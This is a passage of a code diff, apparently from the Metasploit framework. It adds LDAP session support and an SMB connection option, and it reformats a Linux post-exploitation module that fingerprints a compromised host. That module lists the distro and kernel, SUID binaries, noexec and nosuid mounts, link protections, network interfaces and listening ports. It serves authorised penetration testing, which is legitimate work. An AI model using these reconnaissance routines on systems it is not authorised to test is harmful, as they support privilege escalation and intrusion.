ENCRYPT_ON = 0x01 #Encryption is available and on.
|
||||
ENCRYPT_NOT_SUP = 0x02 #Encryption is not available.
|
||||
ENCRYPT_REQ = 0x03 #Encryption is required.
|
||||
|
||||
#
|
||||
# Creates an instance of a MSSQL exploit module.
|
||||
#
|
||||
@@ -48,11 +53,15 @@ module Exploit::Remote::MSSQL
|
||||
register_autofilter_services(%W{ ms-sql-s ms-sql2000 sybase })
|
||||
end
|
||||
|
||||
def set_session(client)
|
||||
def set_mssql_session(client)
|
||||
print_status("Using existing session #{session.sid}")
|
||||
@mssql_client = client
|
||||
end
|
||||
|
||||
def create_mssql_client
|
||||
@mssql_client ||= Rex::Proto::MSSQL::Client.new(self, framework, datastore['RHOST'], datastore['RPORT'])
|
||||
end
|
||||
|
||||
#
|
||||
# This method sends a UDP query packet to the server and
|
||||
# parses out the reply packet into a hash
|
||||
|
||||
@@ -94,7 +94,7 @@ module Msf
|
||||
#
|
||||
# @param (see Exploit::Remote::Tcp#connect)
|
||||
# @return (see Exploit::Remote::Tcp#connect)
|
||||
def connect(global=true, versions: [], backend: nil)
|
||||
def connect(global=true, versions: [], backend: nil, direct: nil)
|
||||
if versions.nil? || versions.empty?
|
||||
versions = datastore['SMB::ProtocolVersion'].split(',').map(&:strip).reject(&:blank?).map(&:to_i)
|
||||
# if the user explicitly set the protocol version to 1, still use ruby_smb
|
||||
@@ -108,9 +108,11 @@ module Msf
|
||||
|
||||
# Disable direct SMB when SMBDirect has not been set
|
||||
# and the destination port is configured as 139
|
||||
direct = smb_direct
|
||||
if(datastore.default?('SMBDirect') and rport.to_i == 139)
|
||||
direct = false
|
||||
if direct.nil?
|
||||
direct = smb_direct
|
||||
if datastore.default?('SMBDirect') and rport.to_i == 139
|
||||
direct = false
|
||||
end
|
||||
end
|
||||
|
||||
c = Rex::Proto::SMB::SimpleClient.new(s, direct, versions, always_encrypt: datastore['SMB::AlwaysEncrypt'], backend: backend)
|
||||
|
||||
@@ -26,6 +26,8 @@ module Msf
|
||||
POSTGRESQL_SESSION_TYPE = 'postgresql_session_type'
|
||||
MYSQL_SESSION_TYPE = 'mysql_session_type'
|
||||
MSSQL_SESSION_TYPE = 'mssql_session_type'
|
||||
LDAP_SESSION_TYPE = 'ldap_session_type'
|
||||
|
||||
DEFAULTS = [
|
||||
{
|
||||
name: WRAPPED_TABLES,
|
||||
@@ -94,6 +96,13 @@ module Msf
|
||||
default_value: true,
|
||||
developer_notes: 'Enabled in Metasploit 6.4.x'
|
||||
}.freeze,
|
||||
{
|
||||
name: LDAP_SESSION_TYPE,
|
||||
description: 'When enabled will allow for the creation/use of LDAP sessions',
|
||||
requires_restart: true,
|
||||
default_value: false,
|
||||
developer_notes: 'To be enabled by default after appropriate testing'
|
||||
}.freeze,
|
||||
{
|
||||
name: DNS,
|
||||
description: 'When enabled allows configuration of DNS resolution behaviour in Metasploit',
|
||||
|
||||
@@ -0,0 +1,94 @@
|
||||
# frozen_string_literal: true
|
||||
|
||||
module Msf
|
||||
module OptionalSession
|
||||
module LDAP
|
||||
include Msf::OptionalSession
|
||||
|
||||
RHOST_GROUP_OPTIONS = %w[RHOSTS RPORT DOMAIN USERNAME PASSWORD THREADS]
|
||||
REQUIRED_OPTIONS = %w[RHOSTS RPORT USERNAME PASSWORD THREADS]
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'SessionTypes' => %w[ldap]
|
||||
)
|
||||
)
|
||||
|
||||
if optional_session_enabled?
|
||||
register_option_group(name: 'SESSION',
|
||||
description: 'Used when connecting via an existing SESSION',
|
||||
option_names: ['SESSION'])
|
||||
register_option_group(name: 'RHOST',
|
||||
description: 'Used when making a new connection via RHOSTS',
|
||||
option_names: RHOST_GROUP_OPTIONS,
|
||||
required_options: REQUIRED_OPTIONS)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Msf::OptInt.new('SESSION', [ false, 'The session to run this module on' ]),
|
||||
Msf::Opt::RHOST(nil, false),
|
||||
Msf::Opt::RPORT(389, false)
|
||||
]
|
||||
)
|
||||
|
||||
add_info('New in Metasploit 6.4 - This module can target a %grnSESSION%clr or an %grnRHOST%clr')
|
||||
end
|
||||
end
|
||||
|
||||
def optional_session_enabled?
|
||||
framework.features.enabled?(Msf::FeatureManager::LDAP_SESSION_TYPE)
|
||||
end
|
||||
|
||||
# @see #ldap_open
|
||||
# @return [Object] The result of whatever the block that was
|
||||
# passed in via the "block" parameter yielded.
|
||||
def ldap_connect(opts = {}, &block)
|
||||
if session && !opts[:base].blank?
|
||||
session.client.base = opts[:base]
|
||||
end
|
||||
return yield session.client if session
|
||||
|
||||
ldap_open(get_connect_opts.merge(opts), &block)
|
||||
rescue ::StandardError => e
|
||||
handle_error(e)
|
||||
end
|
||||
|
||||
# Create a new LDAP connection using Rex::Proto::LDAP::Client.new and yield the
|
||||
# resulting connection object to the caller of this method.
|
||||
#
|
||||
# @param opts [Hash] A hash containing the connection options for the
|
||||
# LDAP connection to the target server.
|
||||
# @yieldparam ldap [Rex::Proto::LDAP::Client] The LDAP connection handle to use for connecting to
|
||||
# the target LDAP server.
|
||||
def ldap_new(opts = {})
|
||||
if session && !opts[:base].blank?
|
||||
session.client.base = opts[:base]
|
||||
end
|
||||
return yield session.client if session
|
||||
|
||||
super
|
||||
rescue ::StandardError => e
|
||||
handle_error(e)
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
def handle_error(e)
|
||||
case e
|
||||
when ::Net::LDAP::ResponseMissingOrInvalidError
|
||||
elog("LDAP Client response missing or invalid: #{e.class}", error: e)
|
||||
if session
|
||||
print_error("Killing session #{session.sid} due to missing or invalid response from the server.")
|
||||
session.kill
|
||||
end
|
||||
else
|
||||
elog("LDAP Client: #{e.class}", error: e)
|
||||
# Re-raise other exceptions so they can be handled elsewhere
|
||||
raise e
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
+418
-372
@@ -1,397 +1,443 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
class Post
|
||||
module Linux
|
||||
module System
|
||||
include ::Msf::Post::Common
|
||||
include ::Msf::Post::File
|
||||
include ::Msf::Post::Unix
|
||||
class Post
|
||||
module Linux
|
||||
module System
|
||||
include ::Msf::Post::Common
|
||||
include ::Msf::Post::File
|
||||
include ::Msf::Post::Unix
|
||||
|
||||
#
|
||||
# Returns a Hash containing Distribution Name, Version and Kernel Information
|
||||
#
|
||||
def get_sysinfo
|
||||
system_data = {}
|
||||
etc_files = cmd_exec("ls /etc").split()
|
||||
#
|
||||
# Returns a Hash containing Distribution Name, Version and Kernel Information
|
||||
#
|
||||
def get_sysinfo
|
||||
system_data = {}
|
||||
etc_files = cmd_exec('ls /etc').split
|
||||
|
||||
kernel_version = cmd_exec("uname -a")
|
||||
system_data[:kernel] = kernel_version
|
||||
kernel_version = cmd_exec('uname -a')
|
||||
system_data[:kernel] = kernel_version
|
||||
|
||||
# Debian
|
||||
if etc_files.include?("debian_version")
|
||||
version = read_file("/etc/issue").gsub(/\n|\\n|\\l/,'').strip
|
||||
if kernel_version =~ /Ubuntu/
|
||||
system_data[:distro] = "ubuntu"
|
||||
system_data[:version] = version
|
||||
else
|
||||
system_data[:distro] = "debian"
|
||||
system_data[:version] = version
|
||||
end
|
||||
# Debian
|
||||
if etc_files.include?('debian_version')
|
||||
version = read_file('/etc/issue').gsub(/\n|\\n|\\l/, '').strip
|
||||
if kernel_version =~ /Ubuntu/
|
||||
system_data[:distro] = 'ubuntu'
|
||||
else
|
||||
system_data[:distro] = 'debian'
|
||||
end
|
||||
system_data[:version] = version
|
||||
|
||||
# Amazon / CentOS
|
||||
elsif etc_files.include?('system-release')
|
||||
version = read_file('/etc/system-release').gsub(/\n|\\n|\\l/,'').strip
|
||||
if version.include? 'CentOS'
|
||||
system_data[:distro] = 'centos'
|
||||
elsif version.include? 'Fedora'
|
||||
system_data[:distro] = 'fedora'
|
||||
else
|
||||
system_data[:distro] = 'amazon'
|
||||
end
|
||||
system_data[:version] = version
|
||||
# Amazon / CentOS
|
||||
elsif etc_files.include?('system-release')
|
||||
version = read_file('/etc/system-release').gsub(/\n|\\n|\\l/, '').strip
|
||||
if version.include? 'CentOS'
|
||||
system_data[:distro] = 'centos'
|
||||
elsif version.include? 'Fedora'
|
||||
system_data[:distro] = 'fedora'
|
||||
else
|
||||
system_data[:distro] = 'amazon'
|
||||
end
|
||||
system_data[:version] = version
|
||||
|
||||
# Alpine
|
||||
elsif etc_files.include?('alpine-release')
|
||||
version = read_file('/etc/alpine-release').gsub(/\n|\\n|\\l/,'').strip
|
||||
system_data[:distro] = 'alpine'
|
||||
system_data[:version] = version
|
||||
# Alpine
|
||||
elsif etc_files.include?('alpine-release')
|
||||
version = read_file('/etc/alpine-release').gsub(/\n|\\n|\\l/, '').strip
|
||||
system_data[:distro] = 'alpine'
|
||||
system_data[:version] = version
|
||||
|
||||
# Fedora
|
||||
elsif etc_files.include?("fedora-release")
|
||||
version = read_file("/etc/fedora-release").gsub(/\n|\\n|\\l/,'').strip
|
||||
system_data[:distro] = "fedora"
|
||||
system_data[:version] = version
|
||||
# Fedora
|
||||
elsif etc_files.include?('fedora-release')
|
||||
version = read_file('/etc/fedora-release').gsub(/\n|\\n|\\l/, '').strip
|
||||
system_data[:distro] = 'fedora'
|
||||
system_data[:version] = version
|
||||
|
||||
# Oracle Linux
|
||||
elsif etc_files.include?("enterprise-release")
|
||||
version = read_file("/etc/enterprise-release").gsub(/\n|\\n|\\l/,'').strip
|
||||
system_data[:distro] = "oracle"
|
||||
system_data[:version] = version
|
||||
# Oracle Linux
|
||||
elsif etc_files.include?('enterprise-release')
|
||||
version = read_file('/etc/enterprise-release').gsub(/\n|\\n|\\l/, '').strip
|
||||
system_data[:distro] = 'oracle'
|
||||
system_data[:version] = version
|
||||
|
||||
# RedHat
|
||||
elsif etc_files.include?("redhat-release")
|
||||
version = read_file("/etc/redhat-release").gsub(/\n|\\n|\\l/,'').strip
|
||||
system_data[:distro] = "redhat"
|
||||
system_data[:version] = version
|
||||
# RedHat
|
||||
elsif etc_files.include?('redhat-release')
|
||||
version = read_file('/etc/redhat-release').gsub(/\n|\\n|\\l/, '').strip
|
||||
system_data[:distro] = 'redhat'
|
||||
system_data[:version] = version
|
||||
|
||||
# Arch
|
||||
elsif etc_files.include?("arch-release")
|
||||
version = read_file("/etc/arch-release").gsub(/\n|\\n|\\l/,'').strip
|
||||
system_data[:distro] = "arch"
|
||||
system_data[:version] = version
|
||||
# Arch
|
||||
elsif etc_files.include?('arch-release')
|
||||
version = read_file('/etc/arch-release').gsub(/\n|\\n|\\l/, '').strip
|
||||
system_data[:distro] = 'arch'
|
||||
system_data[:version] = version
|
||||
|
||||
# Slackware
|
||||
elsif etc_files.include?("slackware-version")
|
||||
version = read_file("/etc/slackware-version").gsub(/\n|\\n|\\l/,'').strip
|
||||
system_data[:distro] = "slackware"
|
||||
system_data[:version] = version
|
||||
# Slackware
|
||||
elsif etc_files.include?('slackware-version')
|
||||
version = read_file('/etc/slackware-version').gsub(/\n|\\n|\\l/, '').strip
|
||||
system_data[:distro] = 'slackware'
|
||||
system_data[:version] = version
|
||||
|
||||
# Mandrake
|
||||
elsif etc_files.include?("mandrake-release")
|
||||
version = read_file("/etc/mandrake-release").gsub(/\n|\\n|\\l/,'').strip
|
||||
system_data[:distro] = "mandrake"
|
||||
system_data[:version] = version
|
||||
# Mandrake
|
||||
elsif etc_files.include?('mandrake-release')
|
||||
version = read_file('/etc/mandrake-release').gsub(/\n|\\n|\\l/, '').strip
|
||||
system_data[:distro] = 'mandrake'
|
||||
system_data[:version] = version
|
||||
|
||||
# SuSE
|
||||
elsif etc_files.include?("SuSE-release")
|
||||
version = read_file("/etc/SuSE-release").gsub(/\n|\\n|\\l/,'').strip
|
||||
system_data[:distro] = "suse"
|
||||
system_data[:version] = version
|
||||
# SuSE
|
||||
elsif etc_files.include?('SuSE-release')
|
||||
version = read_file('/etc/SuSE-release').gsub(/\n|\\n|\\l/, '').strip
|
||||
system_data[:distro] = 'suse'
|
||||
system_data[:version] = version
|
||||
|
||||
# OpenSUSE
|
||||
elsif etc_files.include?("SUSE-brand")
|
||||
version = read_file("/etc/SUSE-brand").scan(/^VERSION\s*=\s*([\d\.]+)/).flatten.first
|
||||
system_data[:distro] = 'suse'
|
||||
system_data[:version] = version
|
||||
# OpenSUSE
|
||||
elsif etc_files.include?('SUSE-brand')
|
||||
version = read_file('/etc/SUSE-brand').scan(/^VERSION\s*=\s*([\d.]+)/).flatten.first
|
||||
system_data[:distro] = 'suse'
|
||||
system_data[:version] = version
|
||||
|
||||
# Gentoo
|
||||
elsif etc_files.include?("gentoo-release")
|
||||
version = read_file("/etc/gentoo-release").gsub(/\n|\\n|\\l/,'').strip
|
||||
system_data[:distro] = "gentoo"
|
||||
system_data[:version] = version
|
||||
# Gentoo
|
||||
elsif etc_files.include?('gentoo-release')
|
||||
version = read_file('/etc/gentoo-release').gsub(/\n|\\n|\\l/, '').strip
|
||||
system_data[:distro] = 'gentoo'
|
||||
system_data[:version] = version
|
||||
|
||||
# Openwall
|
||||
elsif etc_files.include?("owl-release")
|
||||
version = read_file("/etc/owl-release").gsub(/\n|\\n|\\l/,'').strip
|
||||
system_data[:distro] = 'openwall'
|
||||
system_data[:version] = version
|
||||
# Openwall
|
||||
elsif etc_files.include?('owl-release')
|
||||
version = read_file('/etc/owl-release').gsub(/\n|\\n|\\l/, '').strip
|
||||
system_data[:distro] = 'openwall'
|
||||
system_data[:version] = version
|
||||
|
||||
# Generic
|
||||
elsif etc_files.include?("issue")
|
||||
version = read_file("/etc/issue").gsub(/\n|\\n|\\l/,'').strip
|
||||
system_data[:distro] = "linux"
|
||||
system_data[:version] = version
|
||||
# Generic
|
||||
elsif etc_files.include?('issue')
|
||||
version = read_file('/etc/issue').gsub(/\n|\\n|\\l/, '').strip
|
||||
system_data[:distro] = 'linux'
|
||||
system_data[:version] = version
|
||||
|
||||
# Others, could be a mismatch like ssh_login to cisco device
|
||||
else
|
||||
system_data[:distro] = "linux"
|
||||
system_data[:version] = ''
|
||||
# Others, could be a mismatch like ssh_login to cisco device
|
||||
else
|
||||
system_data[:distro] = 'linux'
|
||||
system_data[:version] = ''
|
||||
|
||||
end
|
||||
|
||||
report_host({
|
||||
:host => rhost,
|
||||
:os_name => system_data[:distro],
|
||||
:os_flavor => system_data[:version]
|
||||
})
|
||||
|
||||
return system_data
|
||||
end
|
||||
|
||||
#
|
||||
# Gathers all SUID files on the filesystem.
|
||||
# NOTE: This uses the Linux `find` command. It will most likely take a while to get all files.
|
||||
# Consider specifying a more narrow find path.
|
||||
# @param findpath The path on the system to start searching
|
||||
# @return [Array]
|
||||
def get_suid_files(findpath = '/')
|
||||
out = cmd_exec("find #{findpath} -perm -4000 -print -xdev").to_s.split("\n")
|
||||
out.delete_if {|i| i.include? 'Permission denied'}
|
||||
rescue
|
||||
raise "Could not retrieve all SUID files"
|
||||
end
|
||||
|
||||
#
|
||||
# Gets the $PATH environment variable
|
||||
# @return [String]
|
||||
def get_path
|
||||
cmd_exec('echo $PATH').to_s
|
||||
rescue
|
||||
raise "Unable to determine path"
|
||||
end
|
||||
|
||||
#
|
||||
# Gets basic information about the system's CPU.
|
||||
# @return [Hash]
|
||||
#
|
||||
def get_cpu_info
|
||||
info = {}
|
||||
orig = read_file("/proc/cpuinfo").to_s
|
||||
cpuinfo = orig.split("\n\n")[0]
|
||||
# This is probably a more platform independent way to parse the results (compared to splitting and assigning preset indices to values)
|
||||
cpuinfo.split("\n").each do |l|
|
||||
info[:speed_mhz] = l.split(': ')[1].to_i if l.include? 'cpu MHz'
|
||||
info[:product] = l.split(': ')[1] if l.include? 'model name'
|
||||
info[:vendor] = l.split(': ')[1] if l.include? 'vendor_id'
|
||||
end
|
||||
info[:cores] = orig.split("\n\n").size
|
||||
info
|
||||
rescue
|
||||
raise "Could not get CPU information"
|
||||
end
|
||||
|
||||
#
|
||||
# Gets the hostname of the system
|
||||
# @return [String]
|
||||
#
|
||||
def get_hostname
|
||||
if command_exists?("uname")
|
||||
hostname = cmd_exec('uname -n').to_s
|
||||
else
|
||||
hostname = read_file("/proc/sys/kernel/hostname").to_s.chomp
|
||||
end
|
||||
report_host({:host => rhost, :name => hostname})
|
||||
hostname
|
||||
rescue
|
||||
raise 'Unable to retrieve hostname'
|
||||
end
|
||||
|
||||
#
|
||||
# Gets the name of the current shell
|
||||
# @return [String]
|
||||
#
|
||||
def get_shell_name
|
||||
if command_exists?("ps")
|
||||
psout = cmd_exec('ps -p $$').to_s
|
||||
psout.split("\n").last.split(' ')[3]
|
||||
else
|
||||
str_shell = cmd_exec("echo $0").split("-")[1]
|
||||
return str_shell
|
||||
end
|
||||
rescue
|
||||
raise 'Unable to gather shell name'
|
||||
end
|
||||
|
||||
#
|
||||
# Gets the pid of the current shell
|
||||
# @return [String]
|
||||
#
|
||||
def get_shell_pid
|
||||
cmd_exec("echo $$").to_s
|
||||
end
|
||||
|
||||
#
|
||||
# Checks if the system has gcc installed
|
||||
# @return [Boolean]
|
||||
#
|
||||
def has_gcc?
|
||||
command_exists? 'gcc'
|
||||
rescue
|
||||
raise 'Unable to check for gcc'
|
||||
end
|
||||
|
||||
#
|
||||
# Checks if `file_path` is mounted on a noexec mount point
|
||||
# @return [Boolean]
|
||||
#
|
||||
def noexec?(file_path)
|
||||
mount = read_file('/proc/mounts').to_s
|
||||
mount_path = get_mount_path(file_path)
|
||||
mount.lines.each do |l|
|
||||
return true if l =~ Regexp.new("#{mount_path} (.*)noexec(.*)")
|
||||
end
|
||||
false
|
||||
rescue
|
||||
raise 'Unable to check for noexec volume'
|
||||
end
|
||||
|
||||
#
|
||||
# Checks if `file_path` is mounted on a nosuid mount point
|
||||
# @return [Boolean]
|
||||
#
|
||||
def nosuid?(file_path)
|
||||
mount = read_file('/proc/mounts').to_s
|
||||
mount_path = get_mount_path(file_path)
|
||||
mount.lines.each do |l|
|
||||
return true if l =~ Regexp.new("#{mount_path} (.*)nosuid(.*)")
|
||||
end
|
||||
false
|
||||
rescue
|
||||
raise 'Unable to check for nosuid volume'
|
||||
end
|
||||
|
||||
#
|
||||
# Checks for protected hardlinks on the system
|
||||
# @return [Boolean]
|
||||
#
|
||||
def protected_hardlinks?
|
||||
read_file('/proc/sys/fs/protected_hardlinks').to_s.strip.eql? '1'
|
||||
rescue
|
||||
raise 'Could not determine protected_hardlinks status'
|
||||
end
|
||||
|
||||
#
|
||||
# Checks for protected symlinks on the system
|
||||
# @return [Boolean]
|
||||
#
|
||||
def protected_symlinks?
|
||||
read_file('/proc/sys/fs/protected_symlinks').to_s.strip.eql? '1'
|
||||
rescue
|
||||
raise 'Could not determine protected_symlinks status'
|
||||
end
|
||||
|
||||
#
|
||||
# Gets the version of glibc
|
||||
# @return [String]
|
||||
#
|
||||
def glibc_version
|
||||
raise 'glibc is not installed' unless command_exists? 'ldd'
|
||||
cmd_exec('ldd --version').scan(/^ldd\s+\(.*\)\s+([\d.]+)/).flatten.first
|
||||
rescue
|
||||
raise 'Could not determine glibc version'
|
||||
end
|
||||
|
||||
#
|
||||
# Gets the mount point of `filepath`
|
||||
# @param [String] filepath The filepath to get the mount point
|
||||
# @return [String]
|
||||
#
|
||||
def get_mount_path(filepath)
|
||||
cmd_exec("df \"#{filepath}\" | tail -1").split(' ')[5]
|
||||
rescue
|
||||
raise "Unable to get mount path of #{filepath}"
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Gets all the IP directions of the device
|
||||
# @return [Array]
|
||||
#
|
||||
def ips
|
||||
lines = read_file("/proc/net/fib_trie")
|
||||
result = []
|
||||
previous_line = ""
|
||||
lines.each_line do |line|
|
||||
if line.include?("/32 host LOCAL")
|
||||
previous_line = previous_line.split("-- ")[1].strip()
|
||||
if not result.include? previous_line
|
||||
result.insert(-1, previous_line)
|
||||
end
|
||||
end
|
||||
previous_line = line
|
||||
end
|
||||
return result
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Gets all the interfaces of the device
|
||||
# @return [Array]
|
||||
#
|
||||
def interfaces
|
||||
result = []
|
||||
data = cmd_exec("for fn in /sys/class/net/*; do echo $fn; done")
|
||||
parts = data.split("\n")
|
||||
parts.each do |line|
|
||||
line = line.split("/")[-1]
|
||||
result.insert(-1,line)
|
||||
end
|
||||
return result
|
||||
end
|
||||
|
||||
#
|
||||
# Gets all the macs of the device
|
||||
# @return [Array]
|
||||
#
|
||||
def macs
|
||||
result = []
|
||||
str_macs = cmd_exec("for fn in /sys/class/net/*; do echo $fn; done")
|
||||
parts = str_macs.split("\n")
|
||||
parts.each do |line|
|
||||
rut = line + "/address"
|
||||
mac_array = read_file(rut)
|
||||
mac_array.each_line do |mac|
|
||||
result.insert(-1,mac.strip())
|
||||
end
|
||||
end
|
||||
return result
|
||||
end
|
||||
|
||||
# Parsing information based on: https://github.com/sensu-plugins/sensu-plugins-network-checks/blob/master/bin/check-netstat-tcp.rb
|
||||
#
|
||||
# Gets all the listening tcp ports in the device
|
||||
# @return [Array]
|
||||
#
|
||||
def listen_tcp_ports
|
||||
ports = []
|
||||
content = read_file('/proc/net/tcp')
|
||||
content.each_line do |line|
|
||||
if m = line.match(/^\s*\d+:\s+(.{8}|.{32}):(.{4})\s+(.{8}|.{32}):(.{4})\s+(.{2})/)
|
||||
connection_state = m[5].to_s
|
||||
if connection_state == "0A"
|
||||
connection_port = m[2].to_i(16)
|
||||
if ports.include?(connection_port) == false
|
||||
ports.insert(-1, connection_port)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
return ports
|
||||
end
|
||||
|
||||
# Parsing information based on: https://github.com/sensu-plugins/sensu-plugins-network-checks/blob/master/bin/check-netstat-tcp.rb
|
||||
#
|
||||
# Gets all the listening udp ports in the device
|
||||
# @return [Array]
|
||||
#
|
||||
def listen_udp_ports
|
||||
ports = []
|
||||
content = read_file('/proc/net/udp')
|
||||
content.each_line do |line|
|
||||
if m = line.match(/^\s*\d+:\s+(.{8}|.{32}):(.{4})\s+(.{8}|.{32}):(.{4})\s+(.{2})/)
|
||||
connection_state = m[5].to_s
|
||||
if connection_state == "07"
|
||||
connection_port = m[2].to_i(16)
|
||||
if ports.include?(connection_port) == false
|
||||
ports.insert(-1, connection_port)
|
||||
report_host({
|
||||
host: rhost,
|
||||
os_name: system_data[:distro],
|
||||
os_flavor: system_data[:version]
|
||||
})
|
||||
|
||||
system_data
|
||||
end
|
||||
|
||||
#
|
||||
# Gathers all SUID files on the filesystem.
|
||||
# NOTE: This uses the Linux `find` command. It will most likely take a while to get all files.
|
||||
# Consider specifying a more narrow find path.
|
||||
# @param findpath The path on the system to start searching
|
||||
# @return [Array]
|
||||
def get_suid_files(findpath = '/')
|
||||
cmd_exec("find #{findpath} -perm -4000 -print -xdev").to_s.split("\n").delete_if { |i| i.include? 'Permission denied' }
|
||||
rescue StandardError
|
||||
raise 'Could not retrieve all SUID files'
|
||||
end
|
||||
|
||||
#
|
||||
# Gets the $PATH environment variable
|
||||
# @return [String]
|
||||
def get_path
|
||||
cmd_exec('echo $PATH').to_s
|
||||
rescue StandardError
|
||||
raise 'Unable to determine path'
|
||||
end
|
||||
|
||||
#
|
||||
# Gets basic information about the system's CPU.
|
||||
# @return [Hash]
|
||||
#
|
||||
def get_cpu_info
|
||||
info = {}
|
||||
orig = read_file('/proc/cpuinfo').to_s
|
||||
cpuinfo = orig.split("\n\n")[0]
|
||||
# This is probably a more platform independent way to parse the results (compared to splitting and assigning preset indices to values)
|
||||
cpuinfo.split("\n").each do |l|
|
||||
info[:speed_mhz] = l.split(': ')[1].to_i if l.include? 'cpu MHz'
|
||||
info[:product] = l.split(': ')[1] if l.include? 'model name'
|
||||
info[:vendor] = l.split(': ')[1] if l.include? 'vendor_id'
|
||||
end
|
||||
info[:cores] = orig.split("\n\n").size
|
||||
info
|
||||
rescue StandardError
|
||||
raise 'Could not get CPU information'
|
||||
end
|
||||
end
|
||||
end
|
||||
return ports
|
||||
end
|
||||
|
||||
end # System
|
||||
end # Linux
|
||||
end # Post
|
||||
end # Msf
|
||||
#
|
||||
# Gets the hostname of the system
|
||||
# @return [String]
|
||||
#
|
||||
def get_hostname
|
||||
hostname =
|
||||
if command_exists?('uname')
|
||||
cmd_exec('uname -n').to_s
|
||||
else
|
||||
read_file('/proc/sys/kernel/hostname').to_s.chomp
|
||||
end
|
||||
report_host({ host: rhost, name: hostname })
|
||||
hostname
|
||||
rescue StandardError
|
||||
raise 'Unable to retrieve hostname'
|
||||
end
|
||||
|
||||
#
|
||||
# Gets the name of the current shell
|
||||
# @return [String]
|
||||
#
|
||||
def get_shell_name
|
||||
if command_exists?('ps')
|
||||
cmd_exec('ps -p $$').to_s.split("\n").last.split(' ')[3]
|
||||
else
|
||||
cmd_exec('echo $0').split('-')[1]
|
||||
end
|
||||
rescue StandardError
|
||||
raise 'Unable to gather shell name'
|
||||
end
|
||||
|
||||
#
|
||||
# Gets the pid of the current shell
|
||||
# @return [String]
|
||||
#
|
||||
def get_shell_pid
|
||||
cmd_exec('echo $$').to_s
|
||||
end
|
||||
|
||||
#
|
||||
# Checks if the system has gcc installed
|
||||
# @return [Boolean]
|
||||
#
|
||||
def has_gcc?
|
||||
command_exists? 'gcc'
|
||||
rescue StandardError
|
||||
raise 'Unable to check for gcc'
|
||||
end
|
||||
|
||||
#
|
||||
# Checks if `file_path` is mounted on a noexec mount point
|
||||
# @return [Boolean]
|
||||
#
|
||||
def noexec?(file_path)
|
||||
mount = read_file('/proc/mounts').to_s
|
||||
mount_path = get_mount_path(file_path)
|
||||
mount.lines.each do |l|
|
||||
return true if l =~ Regexp.new("#{mount_path} (.*)noexec(.*)")
|
||||
end
|
||||
false
|
||||
rescue StandardError
|
||||
raise 'Unable to check for noexec volume'
|
||||
end
|
||||
|
||||
#
|
||||
# Checks if `file_path` is mounted on a nosuid mount point
|
||||
# @return [Boolean]
|
||||
#
|
||||
def nosuid?(file_path)
|
||||
mount = read_file('/proc/mounts').to_s
|
||||
mount_path = get_mount_path(file_path)
|
||||
mount.lines.each do |l|
|
||||
return true if l =~ Regexp.new("#{mount_path} (.*)nosuid(.*)")
|
||||
end
|
||||
false
|
||||
rescue StandardError
|
||||
raise 'Unable to check for nosuid volume'
|
||||
end
|
||||
|
||||
#
|
||||
# Checks for protected hardlinks on the system
|
||||
# @return [Boolean]
|
||||
#
|
||||
def protected_hardlinks?
|
||||
read_file('/proc/sys/fs/protected_hardlinks').to_s.strip.eql? '1'
|
||||
rescue StandardError
|
||||
raise 'Could not determine protected_hardlinks status'
|
||||
end
|
||||
|
||||
#
|
||||
# Checks for protected symlinks on the system
|
||||
# @return [Boolean]
|
||||
#
|
||||
def protected_symlinks?
|
||||
read_file('/proc/sys/fs/protected_symlinks').to_s.strip.eql? '1'
|
||||
rescue StandardError
|
||||
raise 'Could not determine protected_symlinks status'
|
||||
end
|
||||
|
||||
#
|
||||
# Gets the version of glibc
|
||||
# @return [String]
|
||||
#
|
||||
def glibc_version
|
||||
raise 'glibc is not installed' unless command_exists? 'ldd'
|
||||
|
||||
cmd_exec('ldd --version').scan(/^ldd\s+\(.*\)\s+([\d.]+)/).flatten.first
|
||||
rescue StandardError
|
||||
raise 'Could not determine glibc version'
|
||||
end
|
||||
|
||||
#
|
||||
# Gets the mount point of `filepath`
|
||||
# @param [String] filepath The filepath to get the mount point
|
||||
# @return [String]
|
||||
#
|
||||
def get_mount_path(filepath)
|
||||
cmd_exec("df \"#{filepath}\" | tail -1").split(' ')[5]
|
||||
rescue StandardError
|
||||
raise "Unable to get mount path of #{filepath}"
|
||||
end
|
||||
|
||||
#
|
||||
# Gets all the IP directions of the device
|
||||
# @return [Array]
|
||||
#
|
||||
def ips
|
||||
lines = read_file('/proc/net/fib_trie')
|
||||
result = []
|
||||
previous_line = ''
|
||||
lines.each_line do |line|
|
||||
if line.include?('/32 host LOCAL')
|
||||
previous_line = previous_line.split('-- ')[1].strip
|
||||
unless result.include? previous_line
|
||||
result.insert(-1, previous_line)
|
||||
end
|
||||
end
|
||||
previous_line = line
|
||||
end
|
||||
result
|
||||
end
|
||||
|
||||
#
|
||||
# Gets all the interfaces of the device
|
||||
# @return [Array]
|
||||
#
|
||||
def interfaces
|
||||
result = []
|
||||
data = cmd_exec('for fn in /sys/class/net/*; do echo $fn; done')
|
||||
parts = data.split("\n")
|
||||
parts.each do |line|
|
||||
line = line.split('/')[-1]
|
||||
result.insert(-1, line)
|
||||
end
|
||||
result
|
||||
end
|
||||
|
||||
#
|
||||
# Gets all the macs of the device
|
||||
# @return [Array]
|
||||
#
|
||||
def macs
|
||||
result = []
|
||||
str_macs = cmd_exec('for fn in /sys/class/net/*; do echo $fn; done')
|
||||
parts = str_macs.split("\n")
|
||||
parts.each do |line|
|
||||
rut = line + '/address'
|
||||
mac_array = read_file(rut)
|
||||
mac_array.each_line do |mac|
|
||||
result.insert(-1, mac.strip)
|
||||
end
|
||||
end
|
||||
result
|
||||
end
|
||||
|
||||
# Parsing information based on: https://github.com/sensu-plugins/sensu-plugins-network-checks/blob/master/bin/check-netstat-tcp.rb
|
||||
#
|
||||
# Gets all the listening tcp ports in the device
|
||||
# @return [Array]
|
||||
#
|
||||
def listen_tcp_ports
|
||||
ports = []
|
||||
content = read_file('/proc/net/tcp')
|
||||
content.each_line do |line|
|
||||
next unless (m = line.match(/^\s*\d+:\s+(.{8}|.{32}):(.{4})\s+(.{8}|.{32}):(.{4})\s+(.{2})/))
|
||||
|
||||
connection_state = m[5].to_s
|
||||
next unless connection_state == '0A'
|
||||
|
||||
connection_port = m[2].to_i(16)
|
||||
